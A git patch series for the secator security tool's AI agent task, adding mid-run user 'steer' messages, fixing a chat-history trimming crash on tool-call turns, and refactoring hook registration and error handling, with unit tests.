deletions(-) diff --git a/secator/ai/interactivity.py b/secator/ai/interactivity.py index 0610251b2..78e314145 100644 --- a/secator/ai/interactivity.py +++ b/secator/ai/interactivity.py @@ -135,6 +135,53 @@ def ask_user(self, question, choices, session_id, prompt_type="follow_up", **con # follow_up: return the answer text return {"answer": answer} + def poll_steers(self, session_id): + """Drain pending steer docs for ``session_id`` and mark them consumed. + + A "steer" is a mid-flight user message: it's written into the channel + (``_type:"ai"``, ``ai_type:"steer"``, ``status:"pending"``) WHILE the agent + is running, and the worker picks it up at the next loop checkpoint to + redirect the next turn. This is distinct from a follow-up ``answer`` (which + the worker is *blocked* waiting on) and from a hard Stop (which revokes the + Celery task). + + Returns a list of steer content strings (oldest-first). Each returned doc is + flipped to ``status:"consumed"`` so it's injected exactly once. Robust by + design: any backend error returns ``[]`` so a steer can never crash the run. + """ + if self.query_engine is None: + return [] + base = { + "_type": "ai", + "ai_type": "steer", + # Correlate by the runner context's session_id, auto-stamped on every + # persisted item (item._context = self.context) — see _poll_for_answer. + "_context.session_id": session_id, + "status": "pending", + } + try: + results = self.query_engine.search(base, limit=50) + except Exception: # noqa: BLE001 - a steer must never crash the run + return [] + if not results: + return [] + # Oldest-first so multiple queued steers are injected in send order. + results = sorted(results, key=lambda r: r.get("_timestamp", 0)) + contents = [] + for doc in results: + content = doc.get("content") or doc.get("answer") or "" + if content: + contents.append(content) + # Mark this session's pending steers consumed so they inject exactly once. + try: + self.query_engine.update( + {**base}, + {"$set": {"status": "consumed"}}, + ) + except Exception: # noqa: BLE001 - consume failure must not crash the run + pass + return contents + def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): """Poll DB for the answer to the SPECIFIC pending prompt until timeout. @@ -148,6 +195,12 @@ def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): same stale doc — an infinite respawn loop that re-runs scans and burns tokens. Scoping on ``prompt_uuid`` makes the poll resolve only THIS prompt's own answer (and time out only THIS prompt's doc). + + A steer (mid-flight user message) breaks the wait: if a pending steer + arrives for this session while we're blocked on a follow-up, we return its + content as the "answer" so the loop redirects immediately instead of + stalling until the follow-up is explicitly answered (or times out). This + keeps follow-up semantics intact for the no-steer case. """ base = { "_type": "ai", @@ -165,6 +218,11 @@ def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): results = self.query_engine.search({**base, "status": "answered"}, limit=1) if results: return results[0].get("answer") + # A steer breaks the wait: treat the steer as the user's answer so the + # blocked follow-up resolves and the next turn redirects. + steers = self.poll_steers(session_id) + if steers: + return "\n".join(steers) sleep(self.poll_interval) elapsed += self.poll_interval # Timeout: flip ONLY this prompt's still-pending doc to timed_out, so a diff --git a/secator/output_types/ai.py b/secator/output_types/ai.py index 192b2933a..ef5bf960f 100644 --- a/secator/output_types/ai.py +++ b/secator/output_types/ai.py @@ -67,6 +67,7 @@ def render_markdown_for_rich(text: str, title: str = '') -> str: 'query': {'label': '🟢', 'color': 'magenta'}, 'stopped': {'label': '🛑', 'color': 'orange3'}, 'follow_up': {'label': '[FOLLOW UP]', 'color': 'orange3'}, + 'steer': {'label': '[STEER]', 'color': 'cyan'}, } ACTION_TYPES = ('task', 'workflow', 'shell', 'add_finding', 'query', 'stopped') diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index cc1e9f74b..46b410297 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -342,6 +342,11 @@ def _run_loop(self) -> Generator: iteration += 1 try: + # Mid-flight steering: drain any user messages sent WHILE the agent + # was running and inject them into history so the next turn redirects. + # Cheap query per iteration; robust (never crashes the loop). + yield from self._drain_steers() + # Auto-summarize when context > 85% threshold yield from self._summarize_auto() @@ -658,6 +663,39 @@ def _auto_approve_workspace_targets(self): except Exception as e: self.debug(f'[workspace] failed to query targets: {e}', sub='guardrail') + # ------------------------------------------------------------------------- + # Mid-flight steering + # ------------------------------------------------------------------------- + + def _drain_steers(self): + """Drain pending mid-flight steers and inject them into the LLM history. + + A "steer" is a user message sent WHILE the agent is running (over the + remote/web channel: a pending ``_type:"ai", ai_type:"steer"`` doc). At the + top of each loop iteration we drain any pending steers for this session, + append each to the history as a ``[User interjected]: …`` user message so + the model sees them on the next turn, and echo a steer Ai item (with + ``_context`` so it persists in the transcript). Cooperative — not a hard + cancel (Stop already does that). + + Only the RemoteBackend has a channel to poll; for every other backend this + is a no-op. Robust: a steer must never crash the run, so all backend access + is best-effort and swallowed. + """ + if not isinstance(self.backend, RemoteBackend): + return + try: + steers = self.backend.poll_steers(self.session_id) + except Exception as e: # noqa: BLE001 - a steer must never crash the run + self.debug(f'steer: failed to poll steers: {e}', sub='llm') + return + for content in steers: + self.debug(f'steer: injecting user interjection: {content[:120]}', sub='llm') + self.history.add_user(maybe_encrypt(f"[User interjected]: {content}", self.encryptor)) + # Echo into the transcript (persisted via _context.session_id) so the + # UI shows the steer as an interjected user bubble. + yield Ai(content=content, ai_type="steer", session_id=self.session_id) + # ------------------------------------------------------------------------- # Summarization / compaction # ------------------------------------------------------------------------- diff --git a/tests/unit/test_ai_interactivity.py b/tests/unit/test_ai_interactivity.py index 8a1117ce5..bec54f3be 100644 --- a/tests/unit/test_ai_interactivity.py +++ b/tests/unit/test_ai_interactivity.py @@ -144,10 +144,18 @@ def test_timeout_update_scoped_to_prompt_uuid(self, mock_sleep): def test_ask_user_returns_on_second_poll(self, mock_sleep): from secator.ai.interactivity import RemoteBackend mock_engine = MagicMock() - mock_engine.search.side_effect = [ - [], # first poll: not answered - [{"answer": "option B"}], # second poll: answered - ] + # Query-aware: the follow-up answer poll (ai_type=="follow_up") returns the + # answer on the second call; the interleaved steer poll (ai_type=="steer") + # always returns nothing — so the steer-break never fires here. + answer_calls = {"n": 0} + + def search(query, limit=1): + if query.get("ai_type") == "steer": + return [] + answer_calls["n"] += 1 + return [] if answer_calls["n"] == 1 else [{"answer": "option B"}] + + mock_engine.search.side_effect = search backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=5) result = backend.ask_user("What next?", [], "session1") @@ -157,6 +165,76 @@ def test_ask_user_returns_on_second_poll(self, mock_sleep): self.assertEqual(mock_sleep.call_count, 1) +class TestRemoteBackendSteer(unittest.TestCase): + """Verify mid-flight steer draining + the blocked-wait break.""" + + def test_poll_steers_returns_and_consumes(self): + """poll_steers returns pending steer content and marks them consumed.""" + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.return_value = [ + {"content": "actually focus on the API", "_timestamp": 2}, + {"content": "and skip port 80", "_timestamp": 1}, + ] + mock_engine.update = MagicMock() + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + + steers = backend.poll_steers("session1") + + # Oldest-first by _timestamp + self.assertEqual(steers, ["and skip port 80", "actually focus on the API"]) + # Query scoped to pending steer docs for this session + search_query = mock_engine.search.call_args[0][0] + self.assertEqual(search_query.get("ai_type"), "steer") + self.assertEqual(search_query.get("status"), "pending") + self.assertEqual(search_query.get("_context.session_id"), "session1") + # Pending steers flipped to consumed (inject exactly once) + mock_engine.update.assert_called_once() + update_set = mock_engine.update.call_args[0][1] + self.assertEqual(update_set["$set"]["status"], "consumed") + + def test_poll_steers_no_pending_returns_empty(self): + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.return_value = [] + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + + self.assertEqual(backend.poll_steers("session1"), []) + # Nothing to consume when nothing is pending + mock_engine.update.assert_not_called() + + def test_poll_steers_robust_on_backend_error(self): + """A steer must never crash the run: backend errors return [].""" + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.side_effect = RuntimeError("mongo down") + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + + self.assertEqual(backend.poll_steers("session1"), []) + + def test_poll_steers_no_query_engine(self): + from secator.ai.interactivity import RemoteBackend + backend = RemoteBackend(timeout=60, query_engine=None, poll_interval=0.01) + self.assertEqual(backend.poll_steers("session1"), []) + + def test_steer_breaks_blocked_follow_up_wait(self): + """A steer arriving during a follow-up wait returns as the answer.""" + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + # No follow-up answer ever; a steer arrives on the first poll. + mock_engine.search.side_effect = [ + [], # answered? no + [{"content": "change course now", "_timestamp": 1}], # poll_steers -> steer + ] + mock_engine.update = MagicMock() + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + + result = backend.ask_user("What next?", [], "session1", prompt_uuid="uuid-1") + + # The steer content resolves the blocked wait (returned as the answer). + self.assertEqual(result["answer"], "change course now") + + class TestCreateBackend(unittest.TestCase): """Verify create_backend factory.""" diff --git a/tests/unit/test_ai_loop.py b/tests/unit/test_ai_loop.py index b628bc1f6..783d8e422 100644 --- a/tests/unit/test_ai_loop.py +++ b/tests/unit/test_ai_loop.py @@ -1128,5 +1128,90 @@ def _boom(*a, **k): self.assertIn("'str' object is not a mapping", content) +# ============================================================================= +# Mid-flight steering: _drain_steers injects pending steers into history +# ============================================================================= + +@unittest.skipUnless(HAS_AI, "ai addon required") +class TestDrainSteers(unittest.TestCase): + """The loop's `_drain_steers` drains pending steers and injects them. + + A pending `ai_type:"steer"` doc (user message sent WHILE the agent runs) must + be drained at the loop checkpoint, appended to the LLM history as a + `[User interjected]: …` user message, echoed as a steer Ai item, and marked + consumed — without breaking the loop or the existing follow-up flow. + """ + + def _make_task(self, backend, history=None): + """Build a minimal `ai` task with only what _drain_steers reads.""" + from secator.tasks.ai import ai + task = object.__new__(ai) + task.backend = backend + task.session_id = "steer-sess" + task.encryptor = None + task.history = history or ChatHistory() + task.debug = lambda *a, **k: None + return task + + def test_steer_drained_injected_and_consumed(self): + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.return_value = [ + {"content": "actually focus on the API", "_timestamp": 1}, + ] + mock_engine.update = MagicMock() + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + task = self._make_task(backend) + + yielded = list(task._drain_steers()) + + # Injected into history as a user "interjected" message. + user_msgs = [m for m in task.history.to_messages() if m["role"] == "user"] + self.assertEqual(len(user_msgs), 1) + self.assertEqual(user_msgs[-1]["content"], "[User interjected]: actually focus on the API") + + # Echoed as a steer Ai item carrying the session_id (so it persists). + steer_items = [r for r in yielded if isinstance(r, Ai) and r.ai_type == "steer"] + self.assertEqual(len(steer_items), 1) + self.assertEqual(steer_items[0].content, "actually focus on the API") + self.assertEqual(steer_items[0].session_id, "steer-sess") + + # Marked consumed so it injects exactly once. + update_set = mock_engine.update.call_args[0][1] + self.assertEqual(update_set["$set"]["status"], "consumed") + + def test_no_steer_is_noop_and_preserves_loop(self): + """No pending steer -> nothing injected, history untouched (loop intact).""" + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.return_value = [] + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + history = ChatHistory() + history.add_user("original prompt") + task = self._make_task(backend, history=history) + + yielded = list(task._drain_steers()) + + self.assertEqual(yielded, []) + user_msgs = [m for m in task.history.to_messages() if m["role"] == "user"] + self.assertEqual([m["content"] for m in user_msgs], ["original prompt"]) + + def test_non_remote_backend_is_noop(self): + """Local/auto backends have no channel -> drain is a no-op (no crash).""" + task = self._make_task(create_backend("auto")) + self.assertEqual(list(task._drain_steers()), []) + + def test_steer_poll_error_never_crashes_loop(self): + """A backend error during drain is swallowed (run must not crash).""" + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.side_effect = RuntimeError("mongo down") + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + task = self._make_task(backend) + # Should not raise, yields nothing, history untouched. + self.assertEqual(list(task._drain_steers()), []) + self.assertEqual(task.history.to_messages(), []) + + if __name__ == "__main__": unittest.main() From 56ec8bcec1bed48606fdf8315230f209ae4b4185 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 25 Jun 2026 20:09:25 +0200 Subject: [PATCH 102/129] refactor(ai): steer doc is the transcript entry; restore steers on respawn MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Drop the worker's redundant `Ai(ai_type="steer")` echo: the API's pending steer doc already carries `_context.session_id` and is itself the persisted transcript entry, so a second echo would double-render in the UI. Keep `_drain_steers` a generator (no items yielded) so the loop call site is unchanged and future echoes can be added without churn. Also restore steers as user turns in `restore_history_from_db` (framed `[User interjected]: …`) so a mid-flight redirect survives a respawn/history restore. Update the drain test to assert no echo doc is yielded. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/session.py | 5 +++++ secator/tasks/ai.py | 27 ++++++++++++++++++--------- tests/unit/test_ai_loop.py | 8 +++----- 3 files changed, 26 insertions(+), 14 deletions(-) diff --git a/secator/ai/session.py b/secator/ai/session.py index 3af15fe63..a6e803404 100644 --- a/secator/ai/session.py +++ b/secator/ai/session.py @@ -237,6 +237,11 @@ def restore_history_from_db(session_id, query_engine, model=None, encryptor=None history.add_user(maybe_encrypt(content, encryptor)) elif ai_type == 'response': history.add_assistant(maybe_encrypt(content, encryptor)) + elif ai_type == 'steer': + # A mid-flight steer is a real user turn (an interjection that + # redirected the run): preserve it as a user message on respawn so the + # redirect survives a history restore. Mirror the live-loop framing. + history.add_user(maybe_encrypt(f'[User interjected]: {content}', encryptor)) # All other ai_types (action displays, follow_up/permission prompts, # shell_output, summaries) are channel/UX artifacts, not conversation # turns — intentionally skipped for a valid litellm transcript. diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 46b410297..57d04f654 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -671,16 +671,26 @@ def _drain_steers(self): """Drain pending mid-flight steers and inject them into the LLM history. A "steer" is a user message sent WHILE the agent is running (over the - remote/web channel: a pending ``_type:"ai", ai_type:"steer"`` doc). At the - top of each loop iteration we drain any pending steers for this session, - append each to the history as a ``[User interjected]: …`` user message so - the model sees them on the next turn, and echo a steer Ai item (with - ``_context`` so it persists in the transcript). Cooperative — not a hard - cancel (Stop already does that). + remote/web channel: a pending ``_type:"ai", ai_type:"steer"`` doc written by + ``POST /ai/conversations/{id}/steer``). At the top of each loop iteration we + drain any pending steers for this session and append each to the history as + a ``[User interjected]: …`` user message so the model sees them on the next + turn. Cooperative — not a hard cancel (Stop already does that). + + The steer doc the API wrote is itself the persisted transcript entry (it + carries ``_context.session_id``, so the UI's transcript poll surfaces it as + an "interjected" user bubble). We deliberately do NOT yield a second + ``Ai(ai_type="steer")`` echo here — that would persist a duplicate doc with + the same content and double-render in the UI. ``poll_steers`` flips the + drained doc to ``status:"consumed"`` so it injects exactly once. Only the RemoteBackend has a channel to poll; for every other backend this is a no-op. Robust: a steer must never crash the run, so all backend access is best-effort and swallowed. + + Generator (``yield from``-compatible with the loop) — currently yields no + items, but kept a generator so future transcript echoes can be added without + changing the call site. """ if not isinstance(self.backend, RemoteBackend): return @@ -692,9 +702,8 @@ def _drain_steers(self): for content in steers: self.debug(f'steer: injecting user interjection: {content[:120]}', sub='llm') self.history.add_user(maybe_encrypt(f"[User interjected]: {content}", self.encryptor)) - # Echo into the transcript (persisted via _context.session_id) so the - # UI shows the steer as an interjected user bubble. - yield Ai(content=content, ai_type="steer", session_id=self.session_id) + return + yield # noqa: unreachable - keeps this a generator for `yield from` # ------------------------------------------------------------------------- # Summarization / compaction diff --git a/tests/unit/test_ai_loop.py b/tests/unit/test_ai_loop.py index 783d8e422..2f89ad40c 100644 --- a/tests/unit/test_ai_loop.py +++ b/tests/unit/test_ai_loop.py @@ -1170,11 +1170,9 @@ def test_steer_drained_injected_and_consumed(self): self.assertEqual(len(user_msgs), 1) self.assertEqual(user_msgs[-1]["content"], "[User interjected]: actually focus on the API") - # Echoed as a steer Ai item carrying the session_id (so it persists). - steer_items = [r for r in yielded if isinstance(r, Ai) and r.ai_type == "steer"] - self.assertEqual(len(steer_items), 1) - self.assertEqual(steer_items[0].content, "actually focus on the API") - self.assertEqual(steer_items[0].session_id, "steer-sess") + # No echo doc is yielded: the API's pending steer doc is itself the + # persisted transcript entry, so a second steer Ai would double-render. + self.assertEqual(yielded, []) # Marked consumed so it injects exactly once. update_set = mock_engine.update.call_args[0][1] From 4acca665afa944a2d75742c96e7d4e523110fee7 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 6 Jul 2026 00:49:29 +0200 Subject: [PATCH 103/129] fix(ai): don't crash token-trimming on tool-call turns (content=None) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ChatHistory.trim() fed self.messages straight to litellm's trim_messages, whose shorten-to-fit path does len(msg["content"]) — which raises "TypeError: object of type 'NoneType' has no len()" for an assistant turn carrying only tool_calls (content=None), killing the AI loop. Coerce None content to "" before trimming (equivalent for the LLM, safe for len()) and wrap the trim in a guard so any trimmer failure degrades to untrimmed history (handled downstream by the context_length_exceeded 400-repair) instead of crashing. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/history.py | 14 +++++++++++- tests/unit/test_ai_history.py | 42 +++++++++++++++++++++++++++++++++++ 2 files changed, 55 insertions(+), 1 deletion(-) diff --git a/secator/ai/history.py b/secator/ai/history.py index c6136942d..8e7947769 100644 --- a/secator/ai/history.py +++ b/secator/ai/history.py @@ -230,7 +230,19 @@ def trim(self, max_tokens: int) -> List[Dict[str, str]]: from secator.output_types import Warning original_count = len(self.messages) - trimmed = trim_messages(self.messages, max_tokens=max_tokens) + # litellm's trim_messages shortens an over-budget message via len(msg["content"]), + # which raises TypeError when an assistant turn carries only tool_calls (content=None + # or the key absent). Coerce such content to "" for trimming — equivalent for the LLM, + # safe for len(). Wrap the call so any trimmer bug degrades to untrimmed history + # (handled downstream by the context_length_exceeded 400-repair) instead of crashing. + sanitized = [dict(m, content="") if m.get("content") is None else m for m in self.messages] + try: + trimmed = trim_messages(sanitized, max_tokens=max_tokens) + except Exception as e: # noqa: BLE001 - a token-trimming crash must never kill the AI loop + console.print(Warning( + message=f'Chat history trim failed ({type(e).__name__}: {e}); using untrimmed history.' + )) + trimmed = sanitized # litellm drops the OLDEST messages with no tool-pairing awareness, so the # kept window can START with an orphan tool_result whose assistant(tool_calls) diff --git a/tests/unit/test_ai_history.py b/tests/unit/test_ai_history.py index 96fe02cf1..b54802224 100644 --- a/tests/unit/test_ai_history.py +++ b/tests/unit/test_ai_history.py @@ -190,6 +190,48 @@ def test_trim_drops_oldest_messages(self): self.assertEqual(history.messages[0]["role"], "system") self.assertEqual(history.messages[0]["content"], "s" * 40) + def test_trim_sanitizes_none_content_before_trimmer(self): + """Messages with content=None (assistant tool-call turns) must never reach + trim_messages as None — litellm's shorten path does len(content) and crashes + with 'object of type NoneType has no len()'. trim() coerces them to "". + """ + history = ChatHistory() + history.add_system("s") + history.add_user("u") + # assistant turn carrying only tool_calls -> content is None + history.add_assistant_with_tool_calls(None, [ + {"id": "1", "type": "function", "function": {"name": "q", "arguments": "{}"}} + ]) + history.add_tool_result("q", "1", "result") + + captured = {} + + def fake_trim(messages, max_tokens): + captured["messages"] = messages + # replicate litellm's crashing operation to prove it no longer crashes + for m in messages: + if m.get("role") != "system": + _ = len(m["content"]) # would raise TypeError on None + return messages + + with patch("litellm.utils.trim_messages", side_effect=fake_trim): + history.trim(max_tokens=1000) # must not raise + + self.assertTrue(all(m.get("content") is not None for m in captured["messages"])) + + def test_trim_survives_trimmer_exception(self): + """A crash inside trim_messages must not propagate and kill the AI loop — + trim() degrades to the (sanitized) untrimmed history instead. + """ + history = ChatHistory() + history.add_system("s") + history.add_user("u") + + with patch("litellm.utils.trim_messages", side_effect=RuntimeError("boom")): + out = history.trim(max_tokens=1000) # must not raise + + self.assertEqual(len(out), 2) + def test_to_messages_with_max_tokens_total(self): """to_messages with max_tokens_total trims messages.""" history = ChatHistory() From 00d3d2ae69d73ad44442db2c8c833b2fb44dcc49 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 6 Jul 2026 01:11:02 +0200 Subject: [PATCH 104/129] refactor(ai): auto-register driver hooks from context (drop _build_hooks_from_context) Runner.__init__ now auto-registers driver hooks from context['drivers'] (via _apply_context_drivers, added on main), so the ai task's manual hook-building for sub-runners is redundant. Delete the helper and the hooks= kwarg it fed into Task/Workflow construction. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/actions.py | 56 ++------------------------------ tests/unit/test_ai_actions.py | 60 +++++------------------------------ 2 files changed, 10 insertions(+), 106 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 110e935f0..16e2eed5c 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -70,53 +70,6 @@ def _sanitized_env() -> dict: and "KEY" not in k and "SECRET" not in k and "TOKEN" not in k and "PASSWORD" not in k} -def _build_hooks_from_context(context: Dict) -> Dict: - """Build the runner hooks dict from ``context['drivers']``. - - Sub-runners dispatched by the ai task are constructed in-process and run - synchronously, so the framework's pickle path (``__setstate__``, which - re-registers driver hooks from ``context['drivers']``) never runs for them. - Without this, a sub-runner inherits the ai task's ``workspace_id`` / - ``drivers`` in its context but registers *no* driver hooks — so its - ``mongodb``/``api`` ``update_runner``/``update_finding`` hooks never fire and - its runner doc + findings are never persisted to the workspace. The result: - sub-runs are absent from the workspace History. - - This mirrors the normal CLI entrypoint (``cli_helper._run``): import each - driver's ``secator.hooks..HOOKS`` and ``deep_merge_dicts`` them into a - single class-keyed dict (keyed by ``Scan``/``Workflow``/``Task``). The dict is - returned raw (not flattened) because ``Task``/``Workflow`` forward - ``self._hooks.get(Task, {})`` down to their command/task signatures. - - Args: - context: Runner context dict (expects ``drivers`` list). - - Returns: - dict: Merged hooks dict suitable for ``runner_cls(..., hooks=hooks)``. - """ - from secator.loader import discover_external_drivers, get_available_drivers, order_drivers - from secator.utils import import_dynamic, deep_merge_dicts - - drivers = list(context.get('drivers', [])) - if not drivers: - return {} - discover_external_drivers() - # Order by canonical priority so authoritative backends (e.g. mongodb) register - # their hooks before relay drivers (e.g. api) — same ordering as __setstate__. - drivers = order_drivers(drivers) - supported = set(get_available_drivers()) - hooks_list = [] - for driver in drivers: - if driver not in supported: - continue - driver_hooks = import_dynamic(f'secator.hooks.{driver}', 'HOOKS') - if driver_hooks: - hooks_list.append(driver_hooks) - if not hooks_list: - return {} - return deep_merge_dicts(*hooks_list) - - def _build_action_display(action: Dict) -> str: """Build a display string for the action being checked. @@ -414,14 +367,9 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator if ctx.subagent: context["subagent"] = ctx.context.get("subagent", True) - # Propagate the ai task's driver hooks (mongodb/api) into the sub-runner. - # The context already carries workspace_id/workspace_name/drivers (see - # _get_result_context), but a sync sub-runner never goes through the pickle - # path that re-registers driver hooks — so without this its results would - # persist with no workspace scope and never appear in the workspace History. - hooks = _build_hooks_from_context(context) + # Driver hooks (mongodb/api) auto-register from context['drivers'] in Runner.__init__. try: - runner = runner_cls(tpl, targets, run_opts=run_opts, hooks=hooks, context=context) + runner = runner_cls(tpl, targets, run_opts=run_opts, context=context) except TaskNotFoundError as e: yield Error(message=str(e), _context=context) return diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 735867076..365687df8 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -10,7 +10,7 @@ from secator.ai.actions import ( ActionContext, dispatch_action, _handle_follow_up, _handle_shell, _handle_query, _handle_add_finding, _run_runner, _decrypt_dict, - _build_hooks_from_context, _coerce_finding_fields + _coerce_finding_fields ) from secator.output_types import Ai, Error, Info, Warning, Vulnerability, Url @@ -322,13 +322,10 @@ def test_run_runner_uses_ctx_targets_as_default(self): @patch('secator.ai.actions.TemplateLoader') @patch('secator.ai.actions.Task') - @patch('secator.ai.actions._build_hooks_from_context') - def test_run_runner_propagates_hooks_and_emits_runner_id(self, mock_build_hooks, mock_task_cls, _mock_tpl): - """Sub-runner must receive driver hooks (so its results persist) and the + def test_run_runner_no_manual_hooks_and_emits_runner_id(self, mock_task_cls, _mock_tpl): + """Sub-runner must NOT receive a manual hooks= kwarg (driver hooks now + auto-register from context['drivers'] in Runner.__init__), and the emitted action Ai must carry the created runner's id + type for the UI.""" - sentinel_hooks = {'fake': ['hook']} - mock_build_hooks.return_value = sentinel_hooks - # Fake runner: an iterable whose id is populated (mimics on_init stamping it) mock_runner = MagicMock() mock_runner.id = 'runner123' @@ -344,9 +341,9 @@ def test_run_runner_propagates_hooks_and_emits_runner_id(self, mock_build_hooks, results = list(_run_runner(action, ctx, 'task')) - # Runner constructed with hooks= from the context drivers + # Runner constructed without a hooks= kwarg (auto-registered from context) _, kwargs = mock_task_cls.call_args - self.assertEqual(kwargs.get('hooks'), sentinel_hooks) + self.assertNotIn('hooks', kwargs) self.assertEqual(kwargs.get('context', {}).get('workspace_id'), 'ws1') # Action Ai item carries runner_id + runner_type @@ -357,13 +354,11 @@ def test_run_runner_propagates_hooks_and_emits_runner_id(self, mock_build_hooks, @patch('secator.ai.actions.TemplateLoader') @patch('secator.ai.actions.Task') - @patch('secator.ai.actions._build_hooks_from_context') - def test_run_runner_propagates_session_id(self, mock_build_hooks, mock_task_cls, _mock_tpl): + def test_run_runner_propagates_session_id(self, mock_task_cls, _mock_tpl): """The dispatched sub-runner's context must carry the ai task's session_id (the conversation id) so its persisted runner doc is queryable by the conversation. session_id may be derived (not already in ctx.context), so it must be stamped from ctx.session_id.""" - mock_build_hooks.return_value = {} mock_runner = MagicMock() mock_runner.id = 'runner123' mock_runner.reports_folder = None @@ -387,10 +382,8 @@ def test_run_runner_propagates_session_id(self, mock_build_hooks, mock_task_cls, @patch('secator.ai.actions.TemplateLoader') @patch('secator.ai.actions.Task') - @patch('secator.ai.actions._build_hooks_from_context') - def test_run_runner_preserves_existing_session_id(self, mock_build_hooks, mock_task_cls, _mock_tpl): + def test_run_runner_preserves_existing_session_id(self, mock_task_cls, _mock_tpl): """A session_id already present in ctx.context must not be overwritten.""" - mock_build_hooks.return_value = {} mock_runner = MagicMock() mock_runner.id = 'runner123' mock_runner.reports_folder = None @@ -410,43 +403,6 @@ def test_run_runner_preserves_existing_session_id(self, mock_build_hooks, mock_t self.assertEqual(kwargs.get('context', {}).get('session_id'), 'from-context') -@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') -class TestBuildHooksFromContext(unittest.TestCase): - """Tests for _build_hooks_from_context (driver name -> hooks dict).""" - - def test_no_drivers_returns_empty(self): - self.assertEqual(_build_hooks_from_context({}), {}) - self.assertEqual(_build_hooks_from_context({'drivers': []}), {}) - - @patch('secator.loader.get_available_drivers') - @patch('secator.loader.order_drivers') - @patch('secator.loader.discover_external_drivers') - @patch('secator.utils.import_dynamic') - def test_builds_hooks_from_driver_names(self, mock_import, _disc, mock_order, mock_avail): - from secator.runners import Task - mock_order.side_effect = lambda d: d - mock_avail.return_value = ['mongodb', 'api'] - mongo_hooks = {Task: {'on_init': ['update_runner']}} - mock_import.return_value = mongo_hooks - - hooks = _build_hooks_from_context({'drivers': ['mongodb']}) - - mock_import.assert_called_once_with('secator.hooks.mongodb', 'HOOKS') - self.assertIn(Task, hooks) - self.assertIn('on_init', hooks[Task]) - - @patch('secator.loader.get_available_drivers') - @patch('secator.loader.order_drivers') - @patch('secator.loader.discover_external_drivers') - @patch('secator.utils.import_dynamic') - def test_skips_unsupported_driver(self, mock_import, _disc, mock_order, mock_avail): - mock_order.side_effect = lambda d: d - mock_avail.return_value = ['mongodb'] - hooks = _build_hooks_from_context({'drivers': ['bogus']}) - self.assertEqual(hooks, {}) - mock_import.assert_not_called() - - @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestGetQueryEngine(unittest.TestCase): """Tests for ActionContext.get_query_engine caching and backend selection.""" From bb7fb71d56bc14618d239d9956ba3228b148f154 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 6 Jul 2026 01:11:38 +0200 Subject: [PATCH 105/129] refactor(ai): use Error.from_exception for action-dispatch errors Replace the hand-rolled _format_action_error formatter with the framework's Error.from_exception, already used elsewhere in this file, so action-dispatch failures build their LLM-facing message the same way as every other error path. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/actions.py | 34 +--------------------------------- tests/unit/test_ai_loop.py | 4 +--- 2 files changed, 2 insertions(+), 36 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 16e2eed5c..dcb03e5a2 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -259,33 +259,6 @@ def dispatch_action(action: Dict, ctx: ActionContext) -> Generator: yield Warning(message=f"Unknown action: {action_type}", _context=context) -def _format_action_error(e: Exception, max_chars: int = 400) -> str: - """Build a concise, LLM-facing error string for a failed action dispatch. - - Combines the exception type + message with the last few traceback frames so - the model can see *where* it failed, then truncates to a sane length so a - deep traceback can't blow up the next prompt's token budget. - """ - import traceback - - errtype = type(e).__name__ - msg = str(e) - head = f"{errtype}: {msg}" if msg else errtype - - # Keep only the tail of the traceback (last ~3 frames) — that's where the - # actual failure is, and it keeps the feedback compact. - tb_lines = traceback.format_exc().strip().splitlines() - tb_tail = "\n".join(tb_lines[-6:]) if tb_lines else "" - - detail = f"{head}\n{tb_tail}" if tb_tail else head - if len(detail) > max_chars: - detail = detail[:max_chars] + "…(truncated)" - return ( 